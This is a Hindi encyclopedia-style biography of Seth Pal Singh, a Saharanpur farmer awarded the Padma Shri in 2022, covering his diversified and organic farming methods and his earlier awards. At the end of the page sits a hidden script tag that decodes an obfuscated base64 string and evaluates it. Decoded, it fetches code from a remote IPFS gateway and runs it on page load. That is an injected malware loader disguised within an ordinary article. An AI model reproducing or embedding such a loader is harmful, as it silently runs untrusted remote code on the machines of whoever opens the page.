सेठ पाल सिंह

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
सेठ पाल सिंह

सेठ पाल सिंह (अंग्रेज़ी: Seth Pal Singh) सहारनपुर के प्रगतिशील किसान हैं। उन्हें भारत सरकार द्वारा पद्म श्री, 2022 से सम्मानित किया गया है। गांव नंदी फिरोजपुर निवासी किसान सेठ पाल सिंह को खेती में नए नए प्रयोग करने के लिए पहले भी राष्ट्रीय स्तर के कई पुरस्कार मिल चुके हैं। उन्होंने कृषि विविधीकरण को अपनाया। वे खेत में सिंघाड़ा उत्पादन, कमल के फूल, मत्स्य पालन, पशुपालन, सब्जी उत्पादन के साथ ही मशरूम की खेती भी करते हैं। इसके अलावा उन्होंने सहफसली क्षेत्र में भी काफी काम किया है। वे गन्ने की फसल के साथ सहफसली के तौर पर प्याज, सौंफ, आलू, सरसों, मसूर और हल्दी की बेहतरीन खेती कर रहे हैं। इसके अलावा उनका ऑर्गेनिक खेती में भी काफी योगदान है।

नहीं डरते नए प्रयोग से

सेठ पाल सिंह के छोटे भाई विनोद कुमार के अनुसार, 'परिवार में छह भाई हैं, जिसके पास करीब 40 एकड़ जमीन है। पहले वे पारंपरिक खेती करते थे। फिर 1995 में, जब सेठ पाल ने खेती में कुछ नया करने के बारे में सोचा तो उन्होंने सहारनपुर के कृषि विज्ञान केंद्र में जाना शुरू कर दिया, जहां उन्होंने कृषि वैज्ञानिकों से विभिन्न नई कृषि विधियों के बारे में सीखा। सेठ पाल सिंह के बारे में अच्छी बात यह है कि वह खेती में कोई नया प्रयोग करने से डरते नहीं हैं, क्योंकि उनका मानना ​​है कि किसान तब तक प्रगति नहीं कर सकते, जब तक वे कुछ नया नहीं करते हैं।'[1]

शुरुआत में सेठ पाल सिंह ने पारंपरिक फसलों के साथ-साथ फूल, फल और सब्जियों जैसी फसलों को उगाना शुरू किया था। केवीके में प्रशिक्षण और कार्यशाला के बाद उनकी रुचि और बढ़ गई थी।

कई फसलों की खेती

सेठ पाल सिंह ने अपने खेत में तालाबों के बजाय पानी के गुलकंद उगाए हैं और अच्छा मुनाफा भी कमाया है। सेठपाल कभी पराली नहीं जलाते हैं और यही वजह है कि मिट्टी में पोषक तत्वों की कमी नहीं आती है। उन्होंने अपने खेत में वर्मी कम्पोस्टिंग और एनएडीईपी कम्पोस्टिंग की इकाइयां स्थापित की हुई हैं। सेठ पाल वर्षों से बहु-फसल और रिले फसल में हैं। सब्जियों की फसलों में वह करेला, लौकी और पालक उगाते हैं। एक साल में वह इस तरह एक के बाद एक सब्जी उगाते हैं और करीब चार लाख रुपये प्रति एकड़ का मुनाफा कमाते हैं।

मछली पालन, पशुपालन और सब्जियां उगाने के अलावा सेठ पाल कमल के फूल और मशरूम भी उगाते हैं। उन्होंने अंतर-फसली खेती के तरीकों को अपनाया है और अपने क्षेत्र के किसानों के लिए बहुत काम किया है। गन्ने के साथ वह फ्रेंच बीन्स, उड़द, मूंग, प्याज, सौंफ, आलू, सरसों, मसूर और हल्दी को सह-फसलों के रूप में उगाते हैं। सेठ पाल की यह सब जैविक खेती के दम पर करते हैं।[1]

पद्म श्री

किसान सेठ पाल सिंह को भारत सरकार ने पद्म श्री, 2022 से सम्मानित किया है। उनको उनके नवोन्मेषी प्रयोगों के लिए पहले भी राष्ट्रीय स्तर पर कई पुरस्कारों से सम्मानित किया जा चुका है। इनमें 2012 में आईसीएआर से 'जगजीवनराम अभिनव किसान पुरस्कार' और 2014 और 2020 में प्रतिष्ठित निकाय के अन्य पुरस्कार शामिल हैं।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 किसान सेठपाल सिंह को अनोखी खेती के लिए मिला पद्मश्री पुरस्कार (हिंदी) hindi.krishijagran.com। अभिगमन तिथि: 07 फरवरी, 2022।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>